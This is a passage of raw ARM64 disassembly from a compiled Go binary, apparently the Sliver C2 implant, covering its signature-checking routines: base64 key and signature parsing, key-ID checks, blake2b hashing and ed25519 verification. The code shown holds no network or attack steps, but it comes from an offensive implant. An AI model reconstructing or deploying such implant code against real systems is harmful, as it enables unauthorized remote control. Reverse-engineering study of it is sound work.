003dcc20bl errors.New
003dcc24str x0, [sp+768]
003dcc28str x1, [sp+776]
003dcc2cadd x21, sp, 840
003dcc30add x20, sp, 144
003dcc34adr x27, 16
003dcc38stp x29, x27, [sp-24]
003dcc3csub x29, sp, 24
003dcc40bl fn_87ec8
003dcc44sub x29, sp, 8
003dcc48ldr x0, [sp+768]
003dcc4cldr x1, [sp+776]
003dcc50str x0, [sp+128]
003dcc54str x1, [sp+136]
003dcc58ldp x29, x30, [sp-8]
003dcc5cadd sp, sp, 832
003dcc60ret x30
003dcc64
003dcc64loc_3dcc64:
003dcc64subs xzr, x1, 0
003dcc68b.hi 0x3dcc70
003dcc6cb 0x3dd2a4
003dcc70
003dcc70loc_3dcc70:
003dcc70ldr x2, [x0]
003dcc74ldr x1, [x0+8]
003dcc78str x2, [sp+688]
003dcc7cstr x1, [sp+696]
003dcc80mov x0, x2
003dcc84bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
003dcc88str x0, [sp+752]
003dcc8cstr x1, [sp+760]
003dcc90str x0, [sp+144]
003dcc94str x1, [sp+152]
003dcc98str xzr, [sp+728]
003dcc9cadd x27, sp, 736
003dcca0stp xzr, xzr, [x27]
003dcca4add x27, sp, 768
003dcca8stp xzr, xzr, [x27]
003dccacldr x2, [sp+320]
003dccb0ldr x1, [sp+328]
003dccb4subs xzr, x1, 1
003dccb8b.hi 0x3dccc0
003dccbcb 0x3dd29c
003dccc0
003dccc0loc_3dccc0:
003dccc0ldr x1, [x2+16]
003dccc4ldr x2, [x2+24]
003dccc8str x1, [sp+672]
003dccccstr x2, [sp+680]
003dccd0adrp x27, 0x645000
003dccd4ldr x0, [x27+8]
003dccd8bl encoding/base64.(*Encoding).DecodeString
003dccdcstr x0, [sp+728]
003dcce0str x1, [sp+736]
003dcce4str x2, [sp+744]
003dcce8str x3, [sp+768]
003dccecstr x4, [sp+776]
003dccf0ldr x3, [sp+728]
003dccf4ldr x4, [sp+736]
003dccf8ldr x5, [sp+744]
003dccfcstr x3, [sp+424]
003dcd00str x4, [sp+432]
003dcd04str x5, [sp+440]
003dcd08ldr x3, [sp+768]
003dcd0cldr x4, [sp+776]
003dcd10str x3, [sp+408]
003dcd14str x4, [sp+416]
003dcd18ldr x3, [sp+424]
003dcd1cldr x4, [sp+432]
003dcd20ldr x5, [sp+440]
003dcd24str x3, [sp+384]
003dcd28str x4, [sp+392]
003dcd2cstr x5, [sp+400]
003dcd30ldr x3, [sp+416]
003dcd34ldr x4, [sp+408]
003dcd38str x4, [sp+344]
003dcd3cstr x3, [sp+352]
003dcd40subs xzr, x4, 0
003dcd44cset x3, ne
003dcd48strb w3, [sp+55]
003dcd4ccbnz x4, 0x3dcd54
003dcd50b 0x3dcd58
003dcd54
003dcd54loc_3dcd54:
003dcd54b 0x3dcd70
003dcd58
003dcd58loc_3dcd58:
003dcd58ldr x2, [sp+392]
003dcd5cstr x2, [sp+120]
003dcd60subs xzr, x2, 74
003dcd64cset x2, ne
003dcd68strb w2, [sp+55]
003dcd6cb 0x3dcd70
003dcd70
003dcd70loc_3dcd70:
003dcd70ldrb w2, [sp+55]
003dcd74tbnz w2, 0, 0x3dcd7c
003dcd78b 0x3dcdcc
003dcd7c
003dcd7cloc_3dcd7c:
003dcd7cadrp x0, 0x2dd000
003dcd80add x0, x0, 3329
003dcd84movz x1, 25
003dcd88bl errors.New
003dcd8cstr x0, [sp+768]
003dcd90str x1, [sp+776]
003dcd94add x21, sp, 840
003dcd98add x20, sp, 144
003dcd9cadr x27, 16
003dcda0stp x29, x27, [sp-24]
003dcda4sub x29, sp, 24
003dcda8bl fn_87ec8
003dcdacsub x29, sp, 8
003dcdb0ldr x0, [sp+768]
003dcdb4ldr x1, [sp+776]
003dcdb8str x0, [sp+128]
003dcdbcstr x1, [sp+136]
003dcdc0ldp x29, x30, [sp-8]
003dcdc4add sp, sp, 832
003dcdc8ret x30
003dcdcc
003dcdccloc_3dcdcc:
003dcdccldr x2, [sp+320]
003dcdd0ldr x1, [sp+328]
003dcdd4subs xzr, x1, 2
003dcdd8b.hi 0x3dcde0
003dcddcb 0x3dd294
003dcde0
003dcde0loc_3dcde0:
003dcde0ldr x0, [x2+32]
003dcde4ldr x1, [x2+40]
003dcde8str x0, [sp+656]
003dcdecstr x1, [sp+664]
003dcdf0bl github.com/bishopfox/sliver/implant/sliver/cryptography.trimCarriageReturn
003dcdf4str x0, [sp+752]
003dcdf8str x1, [sp+760]
003dcdfcstr x0, [sp+240]
003dce00str x1, [sp+248]
003dce04str xzr, [sp+728]
003dce08add x27, sp, 736
003dce0cstp xzr, xzr, [x27]
003dce10add x27, sp, 768
003dce14stp xzr, xzr, [x27]
003dce18ldr x2, [sp+320]
003dce1cldr x1, [sp+328]
003dce20subs xzr, x1, 3
003dce24b.hi 0x3dce2c
003dce28b 0x3dd28c
003dce2c
003dce2cloc_3dce2c:
003dce2cldr x1, [x2+48]
003dce30ldr x2, [x2+56]
003dce34str x1, [sp+640]
003dce38str x2, [sp+648]
003dce3cadrp x27, 0x645000
003dce40ldr x0, [x27+8]
003dce44bl encoding/base64.(*Encoding).DecodeString
003dce48str x0, [sp+728]
003dce4cstr x1, [sp+736]
003dce50str x2, [sp+744]
003dce54str x3, [sp+768]
003dce58str x4, [sp+776]
003dce5cldr x3, [sp+728]
003dce60ldr x4, [sp+736]
003dce64ldr x5, [sp+744]
003dce68str x3, [sp+800]
003dce6cstr x4, [sp+808]
003dce70str x5, [sp+816]
003dce74ldr x3, [sp+768]
003dce78ldr x4, [sp+776]
003dce7cstr x3, [sp+784]
003dce80str x4, [sp+792]
003dce84ldr x3, [sp+800]
003dce88ldr x4, [sp+808]
003dce8cldr x5, [sp+816]
003dce90str x3, [sp+360]
003dce94str x4, [sp+368]
003dce98str x5, [sp+376]
003dce9cldr x3, [sp+792]
003dcea0ldr x4, [sp+784]
003dcea4str x4, [sp+344]
003dcea8str x3, [sp+352]
003dceacsubs xzr, x4, 0
003dceb0cset x3, ne
003dceb4strb w3, [sp+55]
003dceb8cbnz x4, 0x3dcec0
003dcebcb 0x3dcec4
003dcec0
003dcec0loc_3dcec0:
003dcec0b 0x3dcedc
003dcec4
003dcec4loc_3dcec4:
003dcec4ldr x3, [sp+368]
003dcec8str x3, [sp+120]
003dceccsubs xzr, x3, 64
003dced0cset x3, ne
003dced4strb w3, [sp+55]
003dced8b 0x3dcedc
003dcedc
003dcedcloc_3dcedc:
003dcedcldrb w3, [sp+55]
003dcee0tbnz w3, 0, 0x3dcee8
003dcee4b 0x3dcf38
003dcee8
003dcee8loc_3dcee8:
003dcee8adrp x0, 0x2dd000
003dceecadd x0, x0, 3329
003dcef0movz x1, 25
003dcef4bl errors.New
003dcef8str x0, [sp+768]
003dcefcstr x1, [sp+776]
003dcf00add x21, sp, 840
003dcf04add x20, sp, 144
003dcf08adr x27, 16
003dcf0cstp x29, x27, [sp-24]
003dcf10sub x29, sp, 24
003dcf14bl fn_87ec8
003dcf18sub x29, sp, 8
003dcf1cldr x0, [sp+768]
003dcf20ldr x1, [sp+776]
003dcf24str x0, [sp+128]
003dcf28str x1, [sp+136]
003dcf2cldp x29, x30, [sp-8]
003dcf30add sp, sp, 832
003dcf34ret x30
003dcf38
003dcf38loc_3dcf38:
003dcf38add x3, sp, 160
003dcf3cldrsb x27, [x3]
003dcf40b 0x3dcf44
003dcf44
003dcf44loc_3dcf44:
003dcf44str x3, [sp+728]
003dcf48orr x1, xzr, 2
003dcf4cstr x1, [sp+736]
003dcf50str x1, [sp+744]
003dcf54ldr x2, [sp+400]
003dcf58ldr x3, [sp+384]
003dcf5csubs xzr, x2, 2
003dcf60b.hs 0x3dcf68
003dcf64b 0x3dd288
003dcf68
003dcf68loc_3dcf68:
003dcf68b 0x3dcf6c
003dcf6c
003dcf6cloc_3dcf6c:
003dcf6cstr x3, [sp+704]
003dcf70str x1, [sp+712]
003dcf74str x2, [sp+720]
003dcf78ldr x3, [sp+728]
003dcf7cldr x4, [sp+736]
003dcf80ldr x5, [sp+744]
003dcf84str x3, [sp+616]
003dcf88str x4, [sp+624]
003dcf8cstr x5, [sp+632]
003dcf90ldr x3, [sp+712]
003dcf94ldr x4, [sp+704]
003dcf98ldr x5, [sp+720]
003dcf9cstr x4, [sp+592]
003dcfa0str x3, [sp+600]
003dcfa4str x5, [sp+608]
003dcfa8ldr x4, [sp+624]
003dcfacstr x4, [sp+112]
003dcfb0subs xzr, x4, x3
003dcfb4b.gt 0x3dcfbc
003dcfb8b 0x3dcfc4
003dcfbc
003dcfbcloc_3dcfbc:
003dcfbcstr x3, [sp+112]
003dcfc0b 0x3dcfc8
003dcfc4
003dcfc4loc_3dcfc4:
003dcfc4b 0x3dcfc8
003dcfc8
003dcfc8loc_3dcfc8:
003dcfc8ldr x3, [sp+592]
003dcfccldr x4, [sp+616]
003dcfd0subs xzr, x3, x4
003dcfd4b.ne 0x3dcfdc
003dcfd8b 0x3dcff8
003dcfdc
003dcfdcloc_3dcfdc:
003dcfdcldr x3, [sp+112]
003dcfe0str x3, [sp+104]
003dcfe4ldr x2, [sp+104]
003dcfe8ldr x1, [sp+592]
003dcfecldr x0, [sp+616]
003dcff0bl runtime.memmove
003dcff4b 0x3dcffc
003dcff8
003dcff8loc_3dcff8:
003dcff8b 0x3dcffc
003dcffc
003dcffcloc_3dcffc:
003dcffcadd x3, sp, 162
003dd000ldrsb x27, [x3]
003dd004b 0x3dd008
003dd008
003dd008loc_3dd008:
003dd008str x3, [sp+704]
003dd00corr x3, xzr, 8
003dd010str x3, [sp+712]
003dd014str x3, [sp+720]
003dd018ldr x2, [sp+400]
003dd01cldr x4, [sp+384]
003dd020subs xzr, x2, 10
003dd024b.hs 0x3dd02c
003dd028b 0x3dd280
003dd02c
003dd02cloc_3dd02c:
003dd02cb 0x3dd030
003dd030
003dd030loc_3dd030:
003dd030sub x5, x2, 2
003dd034sub x6, xzr, x5
003dd038sbfm x6, x6, 63, 63
003dd03cand x6, x6, 2
003dd040add x4, x4, x6
003dd044str x4, [sp+728]
003dd048str x3, [sp+736]
003dd04cstr x5, [sp+744]
003dd050ldr x3, [sp+704]
003dd054ldr x4, [sp+712]
003dd058ldr x5, [sp+720]
003dd05cstr x3, [sp+568]
003dd060str x4, [sp+576]
003dd064str x5, [sp+584]
003dd068ldr x3, [sp+736]
003dd06cldr x4, [sp+728]
003dd070ldr x5, [sp+744]
003dd074str x4, [sp+544]
003dd078str x3, [sp+552]
003dd07cstr x5, [sp+560]
003dd080ldr x4, [sp+576]
003dd084str x4, [sp+96]
003dd088subs xzr, x4, x3
003dd08cb.gt 0x3dd094
003dd090b 0x3dd09c
003dd094
003dd094loc_3dd094:
003dd094str x3, [sp+96]
003dd098b 0x3dd0a0
003dd09c
003dd09cloc_3dd09c:
003dd09cb 0x3dd0a0
003dd0a0
003dd0a0loc_3dd0a0:
003dd0a0ldr x3, [sp+544]
003dd0a4ldr x4, [sp+568]
003dd0a8subs xzr, x3, x4
003dd0acb.ne 0x3dd0b4
003dd0b0b 0x3dd0d0
003dd0b4
003dd0b4loc_3dd0b4:
003dd0b4ldr x3, [sp+96]
003dd0b8str x3, [sp+88]
003dd0bcldr x2, [sp+88]
003dd0c0ldr x1, [sp+544]
003dd0c4ldr x0, [sp+568]
003dd0c8bl runtime.memmove
003dd0ccb 0x3dd0d4
003dd0d0
003dd0d0loc_3dd0d0:
003dd0d0b 0x3dd0d4
003dd0d4
003dd0d4loc_3dd0d4:
003dd0d4add x3, sp, 170
003dd0d8ldrsb x27, [x3]
003dd0dcb 0x3dd0e0
003dd0e0
003dd0e0loc_3dd0e0:
003dd0e0str x3, [sp+728]
003dd0e4orr x3, xzr, 64
003dd0e8str x3, [sp+736]
003dd0ecstr x3, [sp+744]
003dd0f0ldr x2, [sp+400]
003dd0f4ldr x4, [sp+384]
003dd0f8subs xzr, x2, 74
003dd0fcb.hs 0x3dd104
003dd100b 0x3dd278
003dd104
003dd104loc_3dd104:
003dd104b 0x3dd108
003dd108
003dd108loc_3dd108:
003dd108sub x5, x2, 10
003dd10csub x6, xzr, x5
003dd110sbfm x6, x6, 63, 63
003dd114movz x7, 10
003dd118and x6, x6, x7
003dd11cadd x4, x4, x6
003dd120str x4, [sp+704]
003dd124str x3, [sp+712]
003dd128str x5, [sp+720]
003dd12cldr x4, [sp+728]
003dd130ldr x5, [sp+736]
003dd134ldr x6, [sp+744]
003dd138str x4, [sp+520]
003dd13cstr x5, [sp+528]
003dd140str x6, [sp+536]
003dd144ldr x4, [sp+712]
003dd148ldr x5, [sp+704]
003dd14cldr x6, [sp+720]
003dd150str x5, [sp+496]
003dd154str x4, [sp+504]
003dd158str x6, [sp+512]
003dd15cldr x5, [sp+528]
003dd160str x5, [sp+80]
003dd164subs xzr, x5, x4
003dd168b.gt 0x3dd170
003dd16cb 0x3dd178
003dd170
003dd170loc_3dd170:
003dd170str x4, [sp+80]
003dd174b 0x3dd17c
003dd178
003dd178loc_3dd178:
003dd178b 0x3dd17c
003dd17c
003dd17cloc_3dd17c:
003dd17cldr x4, [sp+496]
003dd180ldr x5, [sp+520]
003dd184subs xzr, x4, x5
003dd188b.ne 0x3dd190
003dd18cb 0x3dd1ac
003dd190
003dd190loc_3dd190:
003dd190ldr x3, [sp+80]
003dd194str x3, [sp+72]
003dd198ldr x2, [sp+72]
003dd19cldr x1, [sp+496]
003dd1a0ldr x0, [sp+520]
003dd1a4bl runtime.memmove
003dd1a8b 0x3dd1b0
003dd1ac
003dd1acloc_3dd1ac:
003dd1acb 0x3dd1b0
003dd1b0
003dd1b0loc_3dd1b0:
003dd1b0add x3, sp, 256
003dd1b4ldrsb x27, [x3]
003dd1b8b 0x3dd1bc
003dd1bc
003dd1bcloc_3dd1bc:
003dd1bcstr x3, [sp+704]
003dd1c0orr x4, xzr, 64
003dd1c4str x4, [sp+712]
003dd1c8str x4, [sp+720]
003dd1ccstr x3, [sp+472]
003dd1d0str x4, [sp+480]
003dd1d4str x4, [sp+488]
003dd1d8ldr x3, [sp+368]
003dd1dcldr x4, [sp+360]
003dd1e0ldr x5, [sp+376]
003dd1e4str x4, [sp+448]
003dd1e8str x3, [sp+456]
003dd1ecstr x5, [sp+464]
003dd1f0ldr x4, [sp+480]
003dd1f4str x4, [sp+64]
003dd1f8subs xzr, x4, x3
003dd1fcb.gt 0x3dd204
003dd200b 0x3dd20c
003dd204
003dd204loc_3dd204:
003dd204str x3, [sp+64]
003dd208b 0x3dd210
003dd20c
003dd20cloc_3dd20c:
003dd20cb 0x3dd210
003dd210
003dd210loc_3dd210:
003dd210ldr x3, [sp+448]
003dd214ldr x4, [sp+472]
003dd218subs xzr, x3, x4
003dd21cb.ne 0x3dd224
003dd220b 0x3dd240
003dd224
003dd224loc_3dd224:
003dd224ldr x3, [sp+64]
003dd228str x3, [sp+56]
003dd22cldr x2, [sp+56]
003dd230ldr x1, [sp+448]
003dd234ldr x0, [sp+472]
003dd238bl runtime.memmove
003dd23cb 0x3dd244
003dd240
003dd240loc_3dd240:
003dd240b 0x3dd244
003dd244
003dd244loc_3dd244:
003dd244add x21, sp, 840
003dd248add x20, sp, 144
003dd24cadr x27, 16
003dd250stp x29, x27, [sp-24]
003dd254sub x29, sp, 24
003dd258bl fn_87ec8
003dd25csub x29, sp, 8
003dd260stp xzr, xzr, [sp+128]
003dd264mov x0, xzr
003dd268mov x1, xzr
003dd26cldp x29, x30, [sp-8]
003dd270add sp, sp, 832
003dd274ret x30
003dd278
003dd278loc_3dd278:
003dd278movz x1, 74
003dd27cbl runtime.panicSliceAcap
003dd280
003dd280loc_3dd280:
003dd280movz x1, 10
003dd284bl runtime.panicSliceAcap
003dd288
003dd288loc_3dd288:
003dd288bl runtime.panicSliceAcap
003dd28c
003dd28cloc_3dd28c:
003dd28corr x0, xzr, 3
003dd290bl runtime.panicIndex
003dd294
003dd294loc_3dd294:
003dd294orr x0, xzr, 2
003dd298bl runtime.panicIndex
003dd29c
003dd29cloc_3dd29c:
003dd29corr x0, xzr, 1
003dd2a0bl runtime.panicIndex
003dd2a4
003dd2a4loc_3dd2a4:
003dd2a4mov x0, xzr
003dd2a8bl runtime.panicIndex
003dd2achint
003dd2b0
003dd2b0loc_3dd2b0:
003dd2b0stp x0, x1, [sp+184]
003dd2b4mov x3, x30
003dd2b8bl runtime.morestack_noctxt.abi0
003dd2bcldp x0, x1, [sp+184]
003dd2c0b 0x3dcb80
003dd2c4udf 0
003dd2c8udf 0
003dd2ccudf 0
003dcb80
003dd2d0
003dd2d0github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify: ; void github.com/bishopfox/sliver/implant/sliver/cryptography.(*PublicKey).Verify(github.com/bishopfox/sliver/implant/sliver/cryptography.PublicKey * publicKey, struct []uint8 bin, github.com/bishopfox/sliver/implant/sliver/cryptography.Signature signature)
003dd2d0ldr x16, [x28+16]
003dd2d4sub x17, sp, 256
003dd2d8subs xzr, x17, x16
003dd2dcb.ls 0x3dd950
003dd2e0sub x20, sp, 384
003dd2e4stp x29, x30, [x20-8]
003dd2e8add sp, x20, 0
003dd2ecsub x29, sp, 8
003dd2f0str x0, [sp+568]
003dd2f4str x1, [sp+576]
003dd2f8str x2, [sp+584]
003dd2fcstr x3, [sp+592]
003dd300strb wzr, [sp+83]
003dd304stp xzr, xzr, [sp+104]
003dd308sturh wzr, [sp+85]
003dd30cmovz x4, 69
003dd310strb w4, [sp+85]
003dd314movz x4, 100
003dd318strb w4, [sp+86]
003dd31cldr x4, [sp+568]
003dd320ldrsb x27, [x4]
003dd324ldr x5, [sp+568]
003dd328ldrsb x27, [x5]
003dd32cldrb w4, [x4]
003dd330ldrb w5, [x5+1]
003dd334ubfm x5, x5, 56, 7
003dd338orr x4, x4, x5
003dd33cubfm x4, x4, 0, 15
003dd340movz x5, 25669
003dd344subs wzr, w4, w5
003dd348b.ne 0x3dd350
003dd34cb 0x3dd38c
003dd350
003dd350loc_3dd350:
003dd350adrp x0, 0x2e1000
003dd354add x0, x0, 2416
003dd358orr x1, xzr, 32
003dd35cbl errors.New
003dd360str x0, [sp+360]
003dd364str x1, [sp+368]
003dd368strb wzr, [sp+83]
003dd36cldr x1, [sp+360]
003dd370ldr x2, [sp+368]
003dd374str x1, [sp+104]
003dd378str x2, [sp+112]
003dd37cldrb w0, [sp+83]
003dd380ldp x29, x30, [sp-8]
003dd384add sp, sp, 384
003dd388ret x30
003dd38c
003dd38cloc_3dd38c:
003dd38cstrb wzr, [sp+84]
003dd390ldrb w4, [sp+408]
003dd394subs wzr, w4, 69
003dd398cset x4, eq
003dd39cstrb w4, [sp+87]
003dd3a0b.eq 0x3dd3a8
003dd3a4b 0x3dd3bc
003dd3a8
003dd3a8loc_3dd3a8:
003dd3a8ldrb w4, [sp+409]
003dd3acsubs wzr, w4, 100
003dd3b0cset x4, eq
003dd3b4strb w4, [sp+87]
003dd3b8b 0x3dd3c0
003dd3bc
003dd3bcloc_3dd3bc:
003dd3bcb 0x3dd3c0
003dd3c0
003dd3c0loc_3dd3c0:
003dd3c0ldrb w4, [sp+87]
003dd3c4tbnz w4, 0, 0x3dd3cc
003dd3c8b 0x3dd3d8
003dd3cc
003dd3ccloc_3dd3cc:
003dd3ccstrb wzr, [sp+84]
003dd3d0orr x4, xzr, 1
003dd3d4b 0x3dd424
003dd3d8
003dd3d8loc_3dd3d8:
003dd3d8ldrb w4, [sp+408]
003dd3dcsubs wzr, w4, 69
003dd3e0cset x4, eq
003dd3e4strb w4, [sp+87]
003dd3e8b.eq 0x3dd3f0
003dd3ecb 0x3dd404
003dd3f0
003dd3f0loc_3dd3f0:
003dd3f0ldrb w4, [sp+409]
003dd3f4subs wzr, w4, 68
003dd3f8cset x4, eq
003dd3fcstrb w4, [sp+87]
003dd400b 0x3dd408
003dd404
003dd404loc_3dd404:
003dd404b 0x3dd408
003dd408
003dd408loc_3dd408:
003dd408ldrb w4, [sp+87]
003dd40ctbnz w4, 0, 0x3dd414
003dd410b 0x3dd908
003dd414
003dd414loc_3dd414:
003dd414orr x4, xzr, 1
003dd418strb w4, [sp+84]
003dd41cb 0x3dd420
003dd420
003dd420loc_3dd420:
003dd420b 0x3dd424
003dd424
003dd424loc_3dd424:
003dd424ldr x5, [sp+568]
003dd428ldrsb x27, [x5]
003dd42cldr x6, [sp+568]
003dd430ldrsb x27, [x6]
003dd434ldr x7, [sp+568]
003dd438ldrsb x27, [x7]
003dd43cldr x8, [sp+568]
003dd440ldrsb x27, [x8]
003dd444ldr x9, [sp+568]
003dd448ldrsb x27, [x9]
003dd44cldr x10, [sp+568]
003dd450ldrsb x27, [x10]
003dd454ldr x11, [sp+568]
003dd458ldrsb x27, [x11]
003dd45cldr x12, [sp+568]
003dd460ldrsb x27, [x12]
003dd464ldrb w12, [x12+2]
003dd468ldrb w5, [x5+3]
003dd46cldrb w6, [x6+4]
003dd470ldrb w7, [x7+5]
003dd474ldrb w8, [x8+6]
003dd478ldrb w9, [x9+7]
003dd47cldrb w10, [x10+8]
003dd480ldrb w11, [x11+9]
003dd484ldrb w13, [sp+410]
003dd488ldrb w14, [sp+411]
003dd48cldrb w15, [sp+412]
003dd490ldrb w16, [sp+413]
003dd494ldrb w17, [sp+414]
003dd498ldrb w19, [sp+415]
003dd49cldrb w20, [sp+416]
003dd4a0ldrb w21, [sp+417]
003dd4a4ubfm x14, x14, 56, 7
003dd4a8orr x13, x13, x14
003dd4acubfm x5, x5, 56, 7
003dd4b0orr x5, x12, x5
003dd4b4ubfm x12, x15, 48, 7
003dd4b8orr x12, x13, x12
003dd4bcubfm x6, x6, 48, 7
003dd4c0orr x5, x5, x6
003dd4c4ubfm x6, x16, 40, 7
003dd4c8orr x6, x12, x6
003dd4ccubfm x7, x7, 40, 7
003dd4d0orr x5, x5, x7
003dd4d4ubfm x7, x17, 32, 7
003dd4d8orr x6, x6, x7
003dd4dcubfm x7, x8, 32, 7
003dd4e0orr x5, x5, x7
003dd4e4ubfm x7, x19, 24, 7
003dd4e8orr x6, x6, x7
003dd4ecubfm x7, x9, 24, 7
003dd4f0orr x5, x5, x7
003dd4f4ubfm x7, x10, 16, 7
003dd4f8orr x5, x5, x7
003dd4fcubfm x7, x20, 16, 7
003dd500orr x6, x6, x7
003dd504ubfm x7, x11, 8, 7
003dd508orr x5, x5, x7
003dd50cubfm x7, x21, 8, 7
003dd510orr x6, x6, x7
003dd514subs xzr, x6, x5
003dd518b.ne 0x3dd520
003dd51cb 0x3dd55c
003dd520
003dd520loc_3dd520:
003dd520adrp x0, 0x2de000
003dd524add x0, x0, 3376
003dd528orr x1, xzr, 28
003dd52cbl errors.New
003dd530str x0, [sp+360]
003dd534str x1, [sp+368]
003dd538strb wzr, [sp+83]
003dd53cldr x1, [sp+360]
003dd540ldr x2, [sp+368]
003dd544str x1, [sp+104]
003dd548str x2, [sp+112]
003dd54cldrb w0, [sp+83]
003dd550ldp x29, x30, [sp-8]
003dd554add sp, sp, 384
003dd558ret x30
003dd55c
003dd55cloc_3dd55c:
003dd55cldr x0, [sp+488]
003dd560ldr x1, [sp+496]
003dd564adrp x2, 0x2d8000
003dd568add x2, x2, 1237
003dd56cmovz x3, 17
003dd570bl strings.HasPrefix
003dd574strb w0, [sp+87]
003dd578tbnz w0, 0, 0x3dd580
003dd57cb 0x3dd8cc
003dd580
003dd580loc_3dd580:
003dd580ldrb w9, [sp+84]
003dd584tbnz w9, 0, 0x3dd58c
003dd588b 0x3dd638
003dd58c
003dd58cloc_3dd58c:
003dd58cstp xzr, xzr, [sp+344]
003dd590stp xzr, xzr, [sp+360]
003dd594mov x0, xzr
003dd598mov x1, xzr
003dd59cmov x2, x1
003dd5a0bl golang.org/x/crypto/blake2b.New512
003dd5a4str x0, [sp+344]
003dd5a8str x1, [sp+352]
003dd5acstr x2, [sp+360]
003dd5b0str x3, [sp+368]
003dd5b4ldr x3, [sp+344]
003dd5b8ldr x4, [sp+352]
003dd5bcstr x3, [sp+152]
003dd5c0str x4, [sp+160]
003dd5c4ldr x3, [sp+360]
003dd5c8ldr x4, [sp+368]
003dd5ccstr x3, [sp+136]
003dd5d0str x4, [sp+144]
003dd5d4ldr x3, [sp+152]
003dd5d8ldr x0, [sp+160]
003dd5dcstr x3, [sp+120]
003dd5e0str x0, [sp+128]
003dd5e4ldrsb x27, [x3]
003dd5e8ldr x1, [sp+576]
003dd5ecldr x2, [sp+584]
003dd5f0ldr x4, [sp+592]
003dd5f4ldr x3, [x3+56]
003dd5f8mov x5, x3
003dd5fcmov x3, x4
003dd600blr x5
003dd604ldr x3, [sp+120]
003dd608ldrsb x27, [x3]
003dd60cldr x3, [x3+48]
003dd610ldr x0, [sp+128]
003dd614mov x1, xzr
003dd618mov x2, xzr
003dd61cmov x4, x3
003dd620mov x3, x2
003dd624blr x4
003dd628str x0, [sp+576]
003dd62cstr x1, [sp+584]
003dd630str x2, [sp+592]
003dd634b 0x3dd63c
003dd638
003dd638loc_3dd638:
003dd638b 0x3dd63c
003dd63c
003dd63cloc_3dd63c:
003dd63cldr x9, [sp+568]
003dd640ldrsb x27, [x9]
003dd644add x9, x9, 10
003dd648ldrsb x27, [x9]
003dd64cb 0x3dd650
003dd650
003dd650loc_3dd650:
003dd650str x9, [sp+320]
003dd654orr x9, xzr, 32
003dd658str x9, [sp+328]
003dd65cstr x9, [sp+336]
003dd660add x6, sp, 418
003dd664ldrsb x27, [x6]
003dd668b 0x3dd66c
003dd66c
003dd66cloc_3dd66c:
003dd66cstr x6, [sp+296]
003dd670orr x8, xzr, 64
003dd674str x8, [sp+304]
003dd678str x8, [sp+312]
003dd67cldr x3, [sp+576]
003dd680ldr x4, [sp+584]
003dd684ldr x5, [sp+592]
003dd688ldr x0, [sp+320]
003dd68cldr x1, [sp+328]
003dd690ldr x2, [sp+336]
003dd694mov x7, x8
003dd698bl golang.org/x/crypto/ed25519.Verify
003dd69cstrb w0, [sp+87]
003dd6a0tbnz w0, 0, 0x3dd6a8
003dd6a4b 0x3dd890
003dd6a8
003dd6a8loc_3dd6a8:
003dd6a8ldr x5, [sp+568]
003dd6acldrsb x27, [x5]
003dd6b0add x5, x5, 10
003dd6b4ldrsb x27, [x5]
003dd6b8b 0x3dd6bc
003dd6bc
003dd6bcloc_3dd6bc:
003dd6bcstr x5, [sp+296]
003dd6c0orr x5, xzr, 32
003dd6c4str x5, [sp+304]
003dd6c8str x5, [sp+312]
003dd6ccadd x5, sp, 418
003dd6d0ldrsb x27, [x5]
003dd6d4b 0x3dd6d8
003dd6d8
003dd6d8loc_3dd6d8:
003dd6d8str x5, [sp+320]
003dd6dcorr x5, xzr, 64
003dd6e0str x5, [sp+328]
003dd6e4str x5, [sp+336]
003dd6e8ldr x1, [sp+496]
003dd6ecldr x6, [sp+488]
003dd6f0cbnz x6, 0x3dd6f8
003dd6f4b 0x3dd6fc
003dd6f8
003dd6f8loc_3dd6f8:
003dd6f8b 0x3dd708
003dd6fc
003dd6fcloc_3dd6fc:
003dd6fcadrp x6, 0x66e000
003dd700add x6, x6, 1504
003dd704b 0x3dd708
003dd708
003dd708loc_3dd708:
003dd708str x6, [sp+272]
003dd70cstr x1, [sp+280]
003dd710str x1, [sp+288]
003dd714b 0x3dd718
003dd718
003dd718loc_3dd718:
003dd718subs xzr, x1, 17
003dd71cb.hs 0x3dd724
003dd720b 0x3dd944
003dd724
003dd724loc_3dd724:
003dd724sub x7, x1, 17
003dd728sub x8, xzr, x7
003dd72csub x9, x1, 17
003dd730sbfm x8, x8, 63, 63
003dd734movz x10, 17
003dd738and x8, x8, x10
003dd73cadd x6, x6, x8
003dd740str x6, [sp+248]
003dd744str x9, [sp+256]
003dd748str x7, [sp+264]
003dd74cldr x2, [sp+336]
003dd750ldr x0, [sp+320]
003dd754ldr x6, [sp+328]
003dd758str x0, [sp+176]
003dd75cstr x6, [sp+184]
003dd760str x2, [sp+192]
003dd764ldr x7, [sp+256]
003dd768add x1, x6, x7
003dd76cstr x1, [sp+96]
003dd770subs xzr, x2, x1
003dd774b.hs 0x3dd77c
003dd778b 0x3dd784
003dd77c
003dd77cloc_3dd77c:
003dd77cstr x1, [sp+184]
003dd780b 0x3dd7a4
003dd784
003dd784loc_3dd784:
003dd784ldr x3, [sp+256]
003dd788adrp x4, 0x218000
003dd78cadd x4, x4, 3072
003dd790bl runtime.growslice
003dd794str x0, [sp+176]
003dd798str x1, [sp+184]
003dd79cstr x2, [sp+192]
003dd7a0b 0x3dd7a4
003dd7a4
003dd7a4loc_3dd7a4:
003dd7a4ldr x3, [sp+256]
003dd7a8str x3, [sp+88]
003dd7acldr x3, [sp+96]
003dd7b0ldr x4, [sp+256]
003dd7b4sub x3, x3, x4
003dd7b8ldr x4, [sp+176]
003dd7bcadd x0, x4, x3
003dd7c0str x0, [sp+168]
003dd7c4ldr x2, [sp+88]
003dd7c8ldr x1, [sp+248]
003dd7ccbl runtime.memmove
003dd7d0ldr x3, [sp+176]
003dd7d4ldr x4, [sp+184]
003dd7d8ldr x5, [sp+192]
003dd7dcstr x3, [sp+224]
003dd7e0str x4, [sp+232]
003dd7e4str x5, [sp+240]
003dd7e8add x6, sp, 504
003dd7ecldrsb x27, [x6]
003dd7f0b 0x3dd7f4
003dd7f4
003dd7f4loc_3dd7f4:
003dd7f4str x6, [sp+200]
003dd7f8orr x8, xzr, 64
003dd7fcstr x8, [sp+208]
003dd800str x8, [sp+216]
003dd804ldr x3, [sp+224]
003dd808ldr x4, [sp+232]
003dd80cldr x5, [sp+240]
003dd810ldr x0, [sp+296]
003dd814ldr x1, [sp+304]
003dd818ldr x2, [sp+312]
003dd81cmov x7, x8
003dd820bl golang.org/x/crypto/ed25519.Verify
003dd824strb w0, [sp+87]
